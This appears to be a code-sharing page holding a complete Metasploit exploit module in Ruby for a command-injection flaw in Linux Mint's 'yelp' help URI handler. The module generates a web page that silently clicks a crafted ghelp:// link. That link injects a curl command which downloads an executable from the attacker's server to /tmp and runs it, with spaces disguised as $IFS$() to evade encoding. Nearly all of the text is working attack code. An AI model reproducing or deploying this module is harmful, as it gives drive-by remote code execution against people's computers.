扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability", 'Description'=> %q{ This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit this vulnerability. }, 'License'=> MSF_LICENSE, 'Author' => [ 'b1ack0wl' # vuln discovery and exploit dev ], 'Payload'=> { 'DisableNops' => true }, 'DefaultOptions'=> { 'WfsDelay' => 60 }, 'Platform' => 'linux', 'Targets'=> [ [ 'Linux Mint 18.3 and 19.1', { 'Arch' => ARCH_X64 } ] ], 'Privileged' => false, 'DefaultTarget'=> 0)) end def generate_exploit_html() if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['LHOST'] else srv_host = datastore['SRVHOST'] end @filename = rand_text_alpha(4) cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20). html = %Q| <html> <head> <meta content="text/html;charset=utf-8" http-equiv="Content-Type"> <meta content="utf-8" http-equiv="encoding"> <title>paparoachfanclubdotcom</title> </head> <body> <script> lmao = document.createElement('a'); lmao.href= "ghelp://$(#{cmd_inj})"; document.body.appendChild(lmao); /* Needed to work with Firefox */ lmao.click(); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent =~ /curl\/\d/ # Command has been executed. Serve up the payload exe_payload = generate_payload_exe() print_status("Sending payload...") send_response(cli, exe_payload) register_file_for_cleanup("/tmp/#{@filename}") return else html = generate_exploit_html() print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end |
体验盒子
